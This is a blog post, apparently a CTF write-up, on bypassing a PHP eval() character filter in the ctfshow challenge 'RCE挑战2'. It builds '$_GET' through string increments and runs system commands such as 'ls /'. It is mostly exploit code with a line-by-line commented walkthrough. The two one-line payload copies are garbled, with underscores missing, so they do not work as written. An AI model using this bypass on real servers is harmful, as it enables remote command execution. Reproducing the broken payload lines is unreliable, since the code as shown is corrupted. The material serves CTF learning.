RCE挑战2

源码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow)) {
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}
?>

这题过滤了一大串玩意
寻找没有被过滤的

<?php
for ($i=32;$i<127;$i++){
        if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",chr($i))){
            echo chr($i)." ";
        }
}

自增过滤原理(网上找的)

“! $ ' ( ) + , . / ; = [ ] ”是可以传的字符
就是通过构造一个“Array
”字符串,再取那个“A”,通过自增构造出"G""E""T"三个字母,拼接"$""""[]"等字符从而高出个$GET[]字符串来传参。最后payload:
$
=[].;$__=$['!'==','];$++;$++;$++;$=++$;++$;$=++$.$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;$=$.++$;$=''.$_;$$_;
但是有个问题就是用max hackbar会被拦截,HackBar不会.

$_ = []._;  // $_ 是一个数组,[] 是 PHP 中的数组初始化语法,._ 表示拼接
var_dump($_);  // 输出变量内容,结果为 "Array_"
$__ = $_['!' == ','];  // 判断条件为 false,因此 $__ 会等于 "Array_" 数组的第一个元素,也就是 "A"
$__++;$__++;$__++;  // $__ 变量的值依次为 B, C, D
$___ = ++$__;  // $__ 自增为 E,赋值给 $___
++$__;  // $__ 变为 F
$___ = ++$__ . $___;  // $__ 自增为 G,$___ 变为 "GE"
++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;++$__;  // $__ 依次增至 S
$___ = $___ . ++$__;  // $__ 自增为 T,$___ 变为 "GET"
$_ = '_' . $___;  // $_ 被赋值为 "_GET"
$$_[_]($$_[__]);  // 通过变量变量执行命令,最终构造出 $_GET[_]($_GET[__]),并执行相应的命令

所以有payload
post:ctf_show=$=[].;$=$_['!'==','];$++;$++;$++;$=++$;++$;$=++$.$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;++$;$=$.++$;$=''.$_;$$_;

get:?_=system&__=ls /

posted @   Govced  阅读(3)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示